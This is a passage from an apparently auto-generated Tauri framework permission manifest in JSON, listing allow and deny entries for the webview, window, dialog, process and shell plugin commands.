scope.","commands":{"allow":[],"deny":["clear_all_browsing_data"]}},"deny-create-webview":{"identifier":"deny-create-webview","description":"Denies the create_webview command without any pre-configured scope.","commands":{"allow":[],"deny":["create_webview"]}},"deny-create-webview-window":{"identifier":"deny-create-webview-window","description":"Denies the create_webview_window command without any pre-configured scope.","commands":{"allow":[],"deny":["create_webview_window"]}},"deny-get-all-webviews":{"identifier":"deny-get-all-webviews","description":"Denies the get_all_webviews command without any pre-configured scope.","commands":{"allow":[],"deny":["get_all_webviews"]}},"deny-internal-toggle-devtools":{"identifier":"deny-internal-toggle-devtools","description":"Denies the internal_toggle_devtools command without any pre-configured scope.","commands":{"allow":[],"deny":["internal_toggle_devtools"]}},"deny-print":{"identifier":"deny-print","description":"Denies the print command without any pre-configured scope.","commands":{"allow":[],"deny":["print"]}},"deny-reparent":{"identifier":"deny-reparent","description":"Denies the reparent command without any pre-configured scope.","commands":{"allow":[],"deny":["reparent"]}},"deny-set-webview-auto-resize":{"identifier":"deny-set-webview-auto-resize","description":"Denies the set_webview_auto_resize command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_auto_resize"]}},"deny-set-webview-background-color":{"identifier":"deny-set-webview-background-color","description":"Denies the set_webview_background_color command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_background_color"]}},"deny-set-webview-focus":{"identifier":"deny-set-webview-focus","description":"Denies the set_webview_focus command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_focus"]}},"deny-set-webview-position":{"identifier":"deny-set-webview-position","description":"Denies the set_webview_position command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_position"]}},"deny-set-webview-size":{"identifier":"deny-set-webview-size","description":"Denies the set_webview_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_size"]}},"deny-set-webview-zoom":{"identifier":"deny-set-webview-zoom","description":"Denies the set_webview_zoom command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_zoom"]}},"deny-webview-close":{"identifier":"deny-webview-close","description":"Denies the webview_close command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_close"]}},"deny-webview-hide":{"identifier":"deny-webview-hide","description":"Denies the webview_hide command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_hide"]}},"deny-webview-position":{"identifier":"deny-webview-position","description":"Denies the webview_position command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_position"]}},"deny-webview-show":{"identifier":"deny-webview-show","description":"Denies the webview_show command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_show"]}},"deny-webview-size":{"identifier":"deny-webview-size","description":"Denies the webview_size command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_size"]}}},"permission_sets":{},"global_scope_schema":null},"core:window":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-get-all-windows","allow-scale-factor","allow-inner-position","allow-outer-position","allow-inner-size","allow-outer-size","allow-is-fullscreen","allow-is-minimized","allow-is-maximized","allow-is-focused","allow-is-decorated","allow-is-resizable","allow-is-maximizable","allow-is-minimizable","allow-is-closable","allow-is-visible","allow-is-enabled","allow-title","allow-current-monitor","allow-primary-monitor","allow-monitor-from-point","allow-available-monitors","allow-cursor-position","allow-theme","allow-is-always-on-top","allow-internal-toggle-maximize"]},"permissions":{"allow-available-monitors":{"identifier":"allow-available-monitors","description":"Enables the available_monitors command without any pre-configured scope.","commands":{"allow":["available_monitors"],"deny":[]}},"allow-center":{"identifier":"allow-center","description":"Enables the center command without any pre-configured scope.","commands":{"allow":["center"],"deny":[]}},"allow-close":{"identifier":"allow-close","description":"Enables the close command without any pre-configured scope.","commands":{"allow":["close"],"deny":[]}},"allow-create":{"identifier":"allow-create","description":"Enables the create command without any pre-configured scope.","commands":{"allow":["create"],"deny":[]}},"allow-current-monitor":{"identifier":"allow-current-monitor","description":"Enables the current_monitor command without any pre-configured scope.","commands":{"allow":["current_monitor"],"deny":[]}},"allow-cursor-position":{"identifier":"allow-cursor-position","description":"Enables the cursor_position command without any pre-configured scope.","commands":{"allow":["cursor_position"],"deny":[]}},"allow-destroy":{"identifier":"allow-destroy","description":"Enables the destroy command without any pre-configured scope.","commands":{"allow":["destroy"],"deny":[]}},"allow-get-all-windows":{"identifier":"allow-get-all-windows","description":"Enables the get_all_windows command without any pre-configured scope.","commands":{"allow":["get_all_windows"],"deny":[]}},"allow-hide":{"identifier":"allow-hide","description":"Enables the hide command without any pre-configured scope.","commands":{"allow":["hide"],"deny":[]}},"allow-inner-position":{"identifier":"allow-inner-position","description":"Enables the inner_position command without any pre-configured scope.","commands":{"allow":["inner_position"],"deny":[]}},"allow-inner-size":{"identifier":"allow-inner-size","description":"Enables the inner_size command without any pre-configured scope.","commands":{"allow":["inner_size"],"deny":[]}},"allow-internal-toggle-maximize":{"identifier":"allow-internal-toggle-maximize","description":"Enables the internal_toggle_maximize command without any pre-configured scope.","commands":{"allow":["internal_toggle_maximize"],"deny":[]}},"allow-is-always-on-top":{"identifier":"allow-is-always-on-top","description":"Enables the is_always_on_top command without any pre-configured scope.","commands":{"allow":["is_always_on_top"],"deny":[]}},"allow-is-closable":{"identifier":"allow-is-closable","description":"Enables the is_closable command without any pre-configured scope.","commands":{"allow":["is_closable"],"deny":[]}},"allow-is-decorated":{"identifier":"allow-is-decorated","description":"Enables the is_decorated command without any pre-configured scope.","commands":{"allow":["is_decorated"],"deny":[]}},"allow-is-enabled":{"identifier":"allow-is-enabled","description":"Enables the is_enabled command without any pre-configured scope.","commands":{"allow":["is_enabled"],"deny":[]}},"allow-is-focused":{"identifier":"allow-is-focused","description":"Enables the is_focused command without any pre-configured scope.","commands":{"allow":["is_focused"],"deny":[]}},"allow-is-fullscreen":{"identifier":"allow-is-fullscreen","description":"Enables the is_fullscreen command without any pre-configured scope.","commands":{"allow":["is_fullscreen"],"deny":[]}},"allow-is-maximizable":{"identifier":"allow-is-maximizable","description":"Enables the is_maximizable command without any pre-configured scope.","commands":{"allow":["is_maximizable"],"deny":[]}},"allow-is-maximized":{"identifier":"allow-is-maximized","description":"Enables the is_maximized command without any pre-configured scope.","commands":{"allow":["is_maximized"],"deny":[]}},"allow-is-minimizable":{"identifier":"allow-is-minimizable","description":"Enables the is_minimizable command without any pre-configured scope.","commands":{"allow":["is_minimizable"],"deny":[]}},"allow-is-minimized":{"identifier":"allow-is-minimized","description":"Enables the is_minimized command without any pre-configured scope.","commands":{"allow":["is_minimized"],"deny":[]}},"allow-is-resizable":{"identifier":"allow-is-resizable","description":"Enables the is_resizable command without any pre-configured scope.","commands":{"allow":["is_resizable"],"deny":[]}},"allow-is-visible":{"identifier":"allow-is-visible","description":"Enables the is_visible command without any pre-configured scope.","commands":{"allow":["is_visible"],"deny":[]}},"allow-maximize":{"identifier":"allow-maximize","description":"Enables the maximize command without any pre-configured scope.","commands":{"allow":["maximize"],"deny":[]}},"allow-minimize":{"identifier":"allow-minimize","description":"Enables the minimize command without any pre-configured scope.","commands":{"allow":["minimize"],"deny":[]}},"allow-monitor-from-point":{"identifier":"allow-monitor-from-point","description":"Enables the monitor_from_point command without any pre-configured scope.","commands":{"allow":["monitor_from_point"],"deny":[]}},"allow-outer-position":{"identifier":"allow-outer-position","description":"Enables the outer_position command without any pre-configured scope.","commands":{"allow":["outer_position"],"deny":[]}},"allow-outer-size":{"identifier":"allow-outer-size","description":"Enables the outer_size command without any pre-configured scope.","commands":{"allow":["outer_size"],"deny":[]}},"allow-primary-monitor":{"identifier":"allow-primary-monitor","description":"Enables the primary_monitor command without any pre-configured scope.","commands":{"allow":["primary_monitor"],"deny":[]}},"allow-request-user-attention":{"identifier":"allow-request-user-attention","description":"Enables the request_user_attention command without any pre-configured scope.","commands":{"allow":["request_user_attention"],"deny":[]}},"allow-scale-factor":{"identifier":"allow-scale-factor","description":"Enables the scale_factor command without any pre-configured scope.","commands":{"allow":["scale_factor"],"deny":[]}},"allow-set-always-on-bottom":{"identifier":"allow-set-always-on-bottom","description":"Enables the set_always_on_bottom command without any pre-configured scope.","commands":{"allow":["set_always_on_bottom"],"deny":[]}},"allow-set-always-on-top":{"identifier":"allow-set-always-on-top","description":"Enables the set_always_on_top command without any pre-configured scope.","commands":{"allow":["set_always_on_top"],"deny":[]}},"allow-set-background-color":{"identifier":"allow-set-background-color","description":"Enables the set_background_color command without any pre-configured scope.","commands":{"allow":["set_background_color"],"deny":[]}},"allow-set-badge-count":{"identifier":"allow-set-badge-count","description":"Enables the set_badge_count command without any pre-configured scope.","commands":{"allow":["set_badge_count"],"deny":[]}},"allow-set-badge-label":{"identifier":"allow-set-badge-label","description":"Enables the set_badge_label command without any pre-configured scope.","commands":{"allow":["set_badge_label"],"deny":[]}},"allow-set-closable":{"identifier":"allow-set-closable","description":"Enables the set_closable command without any pre-configured scope.","commands":{"allow":["set_closable"],"deny":[]}},"allow-set-content-protected":{"identifier":"allow-set-content-protected","description":"Enables the set_content_protected command without any pre-configured scope.","commands":{"allow":["set_content_protected"],"deny":[]}},"allow-set-cursor-grab":{"identifier":"allow-set-cursor-grab","description":"Enables the set_cursor_grab command without any pre-configured scope.","commands":{"allow":["set_cursor_grab"],"deny":[]}},"allow-set-cursor-icon":{"identifier":"allow-set-cursor-icon","description":"Enables the set_cursor_icon command without any pre-configured scope.","commands":{"allow":["set_cursor_icon"],"deny":[]}},"allow-set-cursor-position":{"identifier":"allow-set-cursor-position","description":"Enables the set_cursor_position command without any pre-configured scope.","commands":{"allow":["set_cursor_position"],"deny":[]}},"allow-set-cursor-visible":{"identifier":"allow-set-cursor-visible","description":"Enables the set_cursor_visible command without any pre-configured scope.","commands":{"allow":["set_cursor_visible"],"deny":[]}},"allow-set-decorations":{"identifier":"allow-set-decorations","description":"Enables the set_decorations command without any pre-configured scope.","commands":{"allow":["set_decorations"],"deny":[]}},"allow-set-effects":{"identifier":"allow-set-effects","description":"Enables the set_effects command without any pre-configured scope.","commands":{"allow":["set_effects"],"deny":[]}},"allow-set-enabled":{"identifier":"allow-set-enabled","description":"Enables the set_enabled command without any pre-configured scope.","commands":{"allow":["set_enabled"],"deny":[]}},"allow-set-focus":{"identifier":"allow-set-focus","description":"Enables the set_focus command without any pre-configured scope.","commands":{"allow":["set_focus"],"deny":[]}},"allow-set-focusable":{"identifier":"allow-set-focusable","description":"Enables the set_focusable command without any pre-configured scope.","commands":{"allow":["set_focusable"],"deny":[]}},"allow-set-fullscreen":{"identifier":"allow-set-fullscreen","description":"Enables the set_fullscreen command without any pre-configured scope.","commands":{"allow":["set_fullscreen"],"deny":[]}},"allow-set-icon":{"identifier":"allow-set-icon","description":"Enables the set_icon command without any pre-configured scope.","commands":{"allow":["set_icon"],"deny":[]}},"allow-set-ignore-cursor-events":{"identifier":"allow-set-ignore-cursor-events","description":"Enables the set_ignore_cursor_events command without any pre-configured scope.","commands":{"allow":["set_ignore_cursor_events"],"deny":[]}},"allow-set-max-size":{"identifier":"allow-set-max-size","description":"Enables the set_max_size command without any pre-configured scope.","commands":{"allow":["set_max_size"],"deny":[]}},"allow-set-maximizable":{"identifier":"allow-set-maximizable","description":"Enables the set_maximizable command without any pre-configured scope.","commands":{"allow":["set_maximizable"],"deny":[]}},"allow-set-min-size":{"identifier":"allow-set-min-size","description":"Enables the set_min_size command without any pre-configured scope.","commands":{"allow":["set_min_size"],"deny":[]}},"allow-set-minimizable":{"identifier":"allow-set-minimizable","description":"Enables the set_minimizable command without any pre-configured scope.","commands":{"allow":["set_minimizable"],"deny":[]}},"allow-set-overlay-icon":{"identifier":"allow-set-overlay-icon","description":"Enables the set_overlay_icon command without any pre-configured scope.","commands":{"allow":["set_overlay_icon"],"deny":[]}},"allow-set-position":{"identifier":"allow-set-position","description":"Enables the set_position command without any pre-configured scope.","commands":{"allow":["set_position"],"deny":[]}},"allow-set-progress-bar":{"identifier":"allow-set-progress-bar","description":"Enables the set_progress_bar command without any pre-configured scope.","commands":{"allow":["set_progress_bar"],"deny":[]}},"allow-set-resizable":{"identifier":"allow-set-resizable","description":"Enables the set_resizable command without any pre-configured scope.","commands":{"allow":["set_resizable"],"deny":[]}},"allow-set-shadow":{"identifier":"allow-set-shadow","description":"Enables the set_shadow command without any pre-configured scope.","commands":{"allow":["set_shadow"],"deny":[]}},"allow-set-simple-fullscreen":{"identifier":"allow-set-simple-fullscreen","description":"Enables the set_simple_fullscreen command without any pre-configured scope.","commands":{"allow":["set_simple_fullscreen"],"deny":[]}},"allow-set-size":{"identifier":"allow-set-size","description":"Enables the set_size command without any pre-configured scope.","commands":{"allow":["set_size"],"deny":[]}},"allow-set-size-constraints":{"identifier":"allow-set-size-constraints","description":"Enables the set_size_constraints command without any pre-configured scope.","commands":{"allow":["set_size_constraints"],"deny":[]}},"allow-set-skip-taskbar":{"identifier":"allow-set-skip-taskbar","description":"Enables the set_skip_taskbar command without any pre-configured scope.","commands":{"allow":["set_skip_taskbar"],"deny":[]}},"allow-set-theme":{"identifier":"allow-set-theme","description":"Enables the set_theme command without any pre-configured scope.","commands":{"allow":["set_theme"],"deny":[]}},"allow-set-title":{"identifier":"allow-set-title","description":"Enables the set_title command without any pre-configured scope.","commands":{"allow":["set_title"],"deny":[]}},"allow-set-title-bar-style":{"identifier":"allow-set-title-bar-style","description":"Enables the set_title_bar_style command without any pre-configured scope.","commands":{"allow":["set_title_bar_style"],"deny":[]}},"allow-set-visible-on-all-workspaces":{"identifier":"allow-set-visible-on-all-workspaces","description":"Enables the set_visible_on_all_workspaces command without any pre-configured scope.","commands":{"allow":["set_visible_on_all_workspaces"],"deny":[]}},"allow-show":{"identifier":"allow-show","description":"Enables the show command without any pre-configured scope.","commands":{"allow":["show"],"deny":[]}},"allow-start-dragging":{"identifier":"allow-start-dragging","description":"Enables the start_dragging command without any pre-configured scope.","commands":{"allow":["start_dragging"],"deny":[]}},"allow-start-resize-dragging":{"identifier":"allow-start-resize-dragging","description":"Enables the start_resize_dragging command without any pre-configured scope.","commands":{"allow":["start_resize_dragging"],"deny":[]}},"allow-theme":{"identifier":"allow-theme","description":"Enables the theme command without any pre-configured scope.","commands":{"allow":["theme"],"deny":[]}},"allow-title":{"identifier":"allow-title","description":"Enables the title command without any pre-configured scope.","commands":{"allow":["title"],"deny":[]}},"allow-toggle-maximize":{"identifier":"allow-toggle-maximize","description":"Enables the toggle_maximize command without any pre-configured scope.","commands":{"allow":["toggle_maximize"],"deny":[]}},"allow-unmaximize":{"identifier":"allow-unmaximize","description":"Enables the unmaximize command without any pre-configured scope.","commands":{"allow":["unmaximize"],"deny":[]}},"allow-unminimize":{"identifier":"allow-unminimize","description":"Enables the unminimize command without any pre-configured scope.","commands":{"allow":["unminimize"],"deny":[]}},"deny-available-monitors":{"identifier":"deny-available-monitors","description":"Denies the available_monitors command without any pre-configured scope.","commands":{"allow":[],"deny":["available_monitors"]}},"deny-center":{"identifier":"deny-center","description":"Denies the center command without any pre-configured scope.","commands":{"allow":[],"deny":["center"]}},"deny-close":{"identifier":"deny-close","description":"Denies the close command without any pre-configured scope.","commands":{"allow":[],"deny":["close"]}},"deny-create":{"identifier":"deny-create","description":"Denies the create command without any pre-configured scope.","commands":{"allow":[],"deny":["create"]}},"deny-current-monitor":{"identifier":"deny-current-monitor","description":"Denies the current_monitor command without any pre-configured scope.","commands":{"allow":[],"deny":["current_monitor"]}},"deny-cursor-position":{"identifier":"deny-cursor-position","description":"Denies the cursor_position command without any pre-configured scope.","commands":{"allow":[],"deny":["cursor_position"]}},"deny-destroy":{"identifier":"deny-destroy","description":"Denies the destroy command without any pre-configured scope.","commands":{"allow":[],"deny":["destroy"]}},"deny-get-all-windows":{"identifier":"deny-get-all-windows","description":"Denies the get_all_windows command without any pre-configured scope.","commands":{"allow":[],"deny":["get_all_windows"]}},"deny-hide":{"identifier":"deny-hide","description":"Denies the hide command without any pre-configured scope.","commands":{"allow":[],"deny":["hide"]}},"deny-inner-position":{"identifier":"deny-inner-position","description":"Denies the inner_position command without any pre-configured scope.","commands":{"allow":[],"deny":["inner_position"]}},"deny-inner-size":{"identifier":"deny-inner-size","description":"Denies the inner_size command without any pre-configured scope.","commands":{"allow":[],"deny":["inner_size"]}},"deny-internal-toggle-maximize":{"identifier":"deny-internal-toggle-maximize","description":"Denies the internal_toggle_maximize command without any pre-configured scope.","commands":{"allow":[],"deny":["internal_toggle_maximize"]}},"deny-is-always-on-top":{"identifier":"deny-is-always-on-top","description":"Denies the is_always_on_top command without any pre-configured scope.","commands":{"allow":[],"deny":["is_always_on_top"]}},"deny-is-closable":{"identifier":"deny-is-closable","description":"Denies the is_closable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_closable"]}},"deny-is-decorated":{"identifier":"deny-is-decorated","description":"Denies the is_decorated command without any pre-configured scope.","commands":{"allow":[],"deny":["is_decorated"]}},"deny-is-enabled":{"identifier":"deny-is-enabled","description":"Denies the is_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["is_enabled"]}},"deny-is-focused":{"identifier":"deny-is-focused","description":"Denies the is_focused command without any pre-configured scope.","commands":{"allow":[],"deny":["is_focused"]}},"deny-is-fullscreen":{"identifier":"deny-is-fullscreen","description":"Denies the is_fullscreen command without any pre-configured scope.","commands":{"allow":[],"deny":["is_fullscreen"]}},"deny-is-maximizable":{"identifier":"deny-is-maximizable","description":"Denies the is_maximizable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_maximizable"]}},"deny-is-maximized":{"identifier":"deny-is-maximized","description":"Denies the is_maximized command without any pre-configured scope.","commands":{"allow":[],"deny":["is_maximized"]}},"deny-is-minimizable":{"identifier":"deny-is-minimizable","description":"Denies the is_minimizable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_minimizable"]}},"deny-is-minimized":{"identifier":"deny-is-minimized","description":"Denies the is_minimized command without any pre-configured scope.","commands":{"allow":[],"deny":["is_minimized"]}},"deny-is-resizable":{"identifier":"deny-is-resizable","description":"Denies the is_resizable command without any pre-configured scope.","commands":{"allow":[],"deny":["is_resizable"]}},"deny-is-visible":{"identifier":"deny-is-visible","description":"Denies the is_visible command without any pre-configured scope.","commands":{"allow":[],"deny":["is_visible"]}},"deny-maximize":{"identifier":"deny-maximize","description":"Denies the maximize command without any pre-configured scope.","commands":{"allow":[],"deny":["maximize"]}},"deny-minimize":{"identifier":"deny-minimize","description":"Denies the minimize command without any pre-configured scope.","commands":{"allow":[],"deny":["minimize"]}},"deny-monitor-from-point":{"identifier":"deny-monitor-from-point","description":"Denies the monitor_from_point command without any pre-configured scope.","commands":{"allow":[],"deny":["monitor_from_point"]}},"deny-outer-position":{"identifier":"deny-outer-position","description":"Denies the outer_position command without any pre-configured scope.","commands":{"allow":[],"deny":["outer_position"]}},"deny-outer-size":{"identifier":"deny-outer-size","description":"Denies the outer_size command without any pre-configured scope.","commands":{"allow":[],"deny":["outer_size"]}},"deny-primary-monitor":{"identifier":"deny-primary-monitor","description":"Denies the primary_monitor command without any pre-configured scope.","commands":{"allow":[],"deny":["primary_monitor"]}},"deny-request-user-attention":{"identifier":"deny-request-user-attention","description":"Denies the request_user_attention command without any pre-configured scope.","commands":{"allow":[],"deny":["request_user_attention"]}},"deny-scale-factor":{"identifier":"deny-scale-factor","description":"Denies the scale_factor command without any pre-configured scope.","commands":{"allow":[],"deny":["scale_factor"]}},"deny-set-always-on-bottom":{"identifier":"deny-set-always-on-bottom","description":"Denies the set_always_on_bottom command without any pre-configured scope.","commands":{"allow":[],"deny":["set_always_on_bottom"]}},"deny-set-always-on-top":{"identifier":"deny-set-always-on-top","description":"Denies the set_always_on_top command without any pre-configured scope.","commands":{"allow":[],"deny":["set_always_on_top"]}},"deny-set-background-color":{"identifier":"deny-set-background-color","description":"Denies the set_background_color command without any pre-configured scope.","commands":{"allow":[],"deny":["set_background_color"]}},"deny-set-badge-count":{"identifier":"deny-set-badge-count","description":"Denies the set_badge_count command without any pre-configured scope.","commands":{"allow":[],"deny":["set_badge_count"]}},"deny-set-badge-label":{"identifier":"deny-set-badge-label","description":"Denies the set_badge_label command without any pre-configured scope.","commands":{"allow":[],"deny":["set_badge_label"]}},"deny-set-closable":{"identifier":"deny-set-closable","description":"Denies the set_closable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_closable"]}},"deny-set-content-protected":{"identifier":"deny-set-content-protected","description":"Denies the set_content_protected command without any pre-configured scope.","commands":{"allow":[],"deny":["set_content_protected"]}},"deny-set-cursor-grab":{"identifier":"deny-set-cursor-grab","description":"Denies the set_cursor_grab command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_grab"]}},"deny-set-cursor-icon":{"identifier":"deny-set-cursor-icon","description":"Denies the set_cursor_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_icon"]}},"deny-set-cursor-position":{"identifier":"deny-set-cursor-position","description":"Denies the set_cursor_position command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_position"]}},"deny-set-cursor-visible":{"identifier":"deny-set-cursor-visible","description":"Denies the set_cursor_visible command without any pre-configured scope.","commands":{"allow":[],"deny":["set_cursor_visible"]}},"deny-set-decorations":{"identifier":"deny-set-decorations","description":"Denies the set_decorations command without any pre-configured scope.","commands":{"allow":[],"deny":["set_decorations"]}},"deny-set-effects":{"identifier":"deny-set-effects","description":"Denies the set_effects command without any pre-configured scope.","commands":{"allow":[],"deny":["set_effects"]}},"deny-set-enabled":{"identifier":"deny-set-enabled","description":"Denies the set_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_enabled"]}},"deny-set-focus":{"identifier":"deny-set-focus","description":"Denies the set_focus command without any pre-configured scope.","commands":{"allow":[],"deny":["set_focus"]}},"deny-set-focusable":{"identifier":"deny-set-focusable","description":"Denies the set_focusable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_focusable"]}},"deny-set-fullscreen":{"identifier":"deny-set-fullscreen","description":"Denies the set_fullscreen command without any pre-configured scope.","commands":{"allow":[],"deny":["set_fullscreen"]}},"deny-set-icon":{"identifier":"deny-set-icon","description":"Denies the set_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon"]}},"deny-set-ignore-cursor-events":{"identifier":"deny-set-ignore-cursor-events","description":"Denies the set_ignore_cursor_events command without any pre-configured scope.","commands":{"allow":[],"deny":["set_ignore_cursor_events"]}},"deny-set-max-size":{"identifier":"deny-set-max-size","description":"Denies the set_max_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_max_size"]}},"deny-set-maximizable":{"identifier":"deny-set-maximizable","description":"Denies the set_maximizable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_maximizable"]}},"deny-set-min-size":{"identifier":"deny-set-min-size","description":"Denies the set_min_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_min_size"]}},"deny-set-minimizable":{"identifier":"deny-set-minimizable","description":"Denies the set_minimizable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_minimizable"]}},"deny-set-overlay-icon":{"identifier":"deny-set-overlay-icon","description":"Denies the set_overlay_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_overlay_icon"]}},"deny-set-position":{"identifier":"deny-set-position","description":"Denies the set_position command without any pre-configured scope.","commands":{"allow":[],"deny":["set_position"]}},"deny-set-progress-bar":{"identifier":"deny-set-progress-bar","description":"Denies the set_progress_bar command without any pre-configured scope.","commands":{"allow":[],"deny":["set_progress_bar"]}},"deny-set-resizable":{"identifier":"deny-set-resizable","description":"Denies the set_resizable command without any pre-configured scope.","commands":{"allow":[],"deny":["set_resizable"]}},"deny-set-shadow":{"identifier":"deny-set-shadow","description":"Denies the set_shadow command without any pre-configured scope.","commands":{"allow":[],"deny":["set_shadow"]}},"deny-set-simple-fullscreen":{"identifier":"deny-set-simple-fullscreen","description":"Denies the set_simple_fullscreen command without any pre-configured scope.","commands":{"allow":[],"deny":["set_simple_fullscreen"]}},"deny-set-size":{"identifier":"deny-set-size","description":"Denies the set_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_size"]}},"deny-set-size-constraints":{"identifier":"deny-set-size-constraints","description":"Denies the set_size_constraints command without any pre-configured scope.","commands":{"allow":[],"deny":["set_size_constraints"]}},"deny-set-skip-taskbar":{"identifier":"deny-set-skip-taskbar","description":"Denies the set_skip_taskbar command without any pre-configured scope.","commands":{"allow":[],"deny":["set_skip_taskbar"]}},"deny-set-theme":{"identifier":"deny-set-theme","description":"Denies the set_theme command without any pre-configured scope.","commands":{"allow":[],"deny":["set_theme"]}},"deny-set-title":{"identifier":"deny-set-title","description":"Denies the set_title command without any pre-configured scope.","commands":{"allow":[],"deny":["set_title"]}},"deny-set-title-bar-style":{"identifier":"deny-set-title-bar-style","description":"Denies the set_title_bar_style command without any pre-configured scope.","commands":{"allow":[],"deny":["set_title_bar_style"]}},"deny-set-visible-on-all-workspaces":{"identifier":"deny-set-visible-on-all-workspaces","description":"Denies the set_visible_on_all_workspaces command without any pre-configured scope.","commands":{"allow":[],"deny":["set_visible_on_all_workspaces"]}},"deny-show":{"identifier":"deny-show","description":"Denies the show command without any pre-configured scope.","commands":{"allow":[],"deny":["show"]}},"deny-start-dragging":{"identifier":"deny-start-dragging","description":"Denies the start_dragging command without any pre-configured scope.","commands":{"allow":[],"deny":["start_dragging"]}},"deny-start-resize-dragging":{"identifier":"deny-start-resize-dragging","description":"Denies the start_resize_dragging command without any pre-configured scope.","commands":{"allow":[],"deny":["start_resize_dragging"]}},"deny-theme":{"identifier":"deny-theme","description":"Denies the theme command without any pre-configured scope.","commands":{"allow":[],"deny":["theme"]}},"deny-title":{"identifier":"deny-title","description":"Denies the title command without any pre-configured scope.","commands":{"allow":[],"deny":["title"]}},"deny-toggle-maximize":{"identifier":"deny-toggle-maximize","description":"Denies the toggle_maximize command without any pre-configured scope.","commands":{"allow":[],"deny":["toggle_maximize"]}},"deny-unmaximize":{"identifier":"deny-unmaximize","description":"Denies the unmaximize command without any pre-configured scope.","commands":{"allow":[],"deny":["unmaximize"]}},"deny-unminimize":{"identifier":"deny-unminimize","description":"Denies the unminimize command without any pre-configured scope.","commands":{"allow":[],"deny":["unminimize"]}}},"permission_sets":{},"global_scope_schema":null},"dialog":{"default_permission":{"identifier":"default","description":"This permission set configures the types of dialogs\navailable from the dialog plugin.\n\n#### Granted Permissions\n\nAll dialog types are enabled.\n\n\n","permissions":["allow-message","allow-save","allow-open"]},"permissions":{"allow-ask":{"identifier":"allow-ask","description":"Enables the ask command without any pre-configured scope. (**DEPRECATED**: This is now an alias to `allow-message` and will be removed in v3)","commands":{"allow":["message"],"deny":[]}},"allow-confirm":{"identifier":"allow-confirm","description":"Enables the confirm command without any pre-configured scope. (**DEPRECATED**: This is now an alias to `allow-message` and will be removed in v3)","commands":{"allow":["message"],"deny":[]}},"allow-message":{"identifier":"allow-message","description":"Enables the message command without any pre-configured scope.","commands":{"allow":["message"],"deny":[]}},"allow-open":{"identifier":"allow-open","description":"Enables the open command without any pre-configured scope.","commands":{"allow":["open"],"deny":[]}},"allow-save":{"identifier":"allow-save","description":"Enables the save command without any pre-configured scope.","commands":{"allow":["save"],"deny":[]}},"deny-ask":{"identifier":"deny-ask","description":"Denies the ask command without any pre-configured scope. (**DEPRECATED**: This is now an alias to `deny-message` and will be removed in v3)","commands":{"allow":[],"deny":["message"]}},"deny-confirm":{"identifier":"deny-confirm","description":"Denies the confirm command without any pre-configured scope. (**DEPRECATED**: This is now an alias to `deny-message` and will be removed in v3)","commands":{"allow":[],"deny":["message"]}},"deny-message":{"identifier":"deny-message","description":"Denies the message command without any pre-configured scope.","commands":{"allow":[],"deny":["message"]}},"deny-open":{"identifier":"deny-open","description":"Denies the open command without any pre-configured scope.","commands":{"allow":[],"deny":["open"]}},"deny-save":{"identifier":"deny-save","description":"Denies the save command without any pre-configured scope.","commands":{"allow":[],"deny":["save"]}}},"permission_sets":{},"global_scope_schema":null},"process":{"default_permission":{"identifier":"default","description":"This permission set configures which\nprocess features are by default exposed.\n\n#### Granted Permissions\n\nThis enables to quit via `allow-exit` and restart via `allow-restart`\nthe application.\n","permissions":["allow-exit","allow-restart"]},"permissions":{"allow-exit":{"identifier":"allow-exit","description":"Enables the exit command without any pre-configured scope.","commands":{"allow":["exit"],"deny":[]}},"allow-restart":{"identifier":"allow-restart","description":"Enables the restart command without any pre-configured scope.","commands":{"allow":["restart"],"deny":[]}},"deny-exit":{"identifier":"deny-exit","description":"Denies the exit command without any pre-configured scope.","commands":{"allow":[],"deny":["exit"]}},"deny-restart":{"identifier":"deny-restart","description":"Denies the restart command without any pre-configured scope.","commands":{"allow":[],"deny":["restart"]}}},"permission_sets":{},"global_scope_schema":null},"shell":{"default_permission":{"identifier":"default","description":"This permission set configures which\nshell functionality is exposed by default.\n\n#### Granted Permissions\n\nIt allows to use the `open` functionality with a reasonable\nscope pre-configured. It will allow opening `http(s)://`,\n`tel:` and `mailto:` links.\n","permissions":["allow-open"]},"permissions":{"allow-execute":{"identifier":"allow-execute","description":"Enables the execute command without any pre-configured scope.","commands":{"allow":["execute"],"deny":[]}},"allow-kill":{"identifier":"allow-kill","description":"Enables the kill command without any pre-configured scope.","commands":{"allow":["kill"],"deny":[]}},"allow-open":{"identifier":"allow-open","description":"Enables the open command without any pre-configured scope.","commands":{"allow":["open"],"deny":[]}},"allow-spawn":{"identifier":"allow-spawn","description":"Enables the spawn command without any pre-configured scope.","commands":{"allow":["spawn"],"deny":[]}},"allow-stdin-write":{"identifier":"allow-stdin-write","description":"Enables the stdin_write command without any pre-configured scope.","commands":{"allow":["stdin_write"],"deny":[]}},"deny-execute":{"identifier":"deny-execute","description":"Denies the execute command without any pre-configured scope.","commands":{"allow":[],"deny":["execute"]}},"deny-kill":{"identifier":"deny-kill","description":"Denies the kill command without any pre-configured scope.","commands":{"allow":[],"deny":["kill"]}},"deny-open":{"identifier":"deny-open","description":"Denies the open command without any 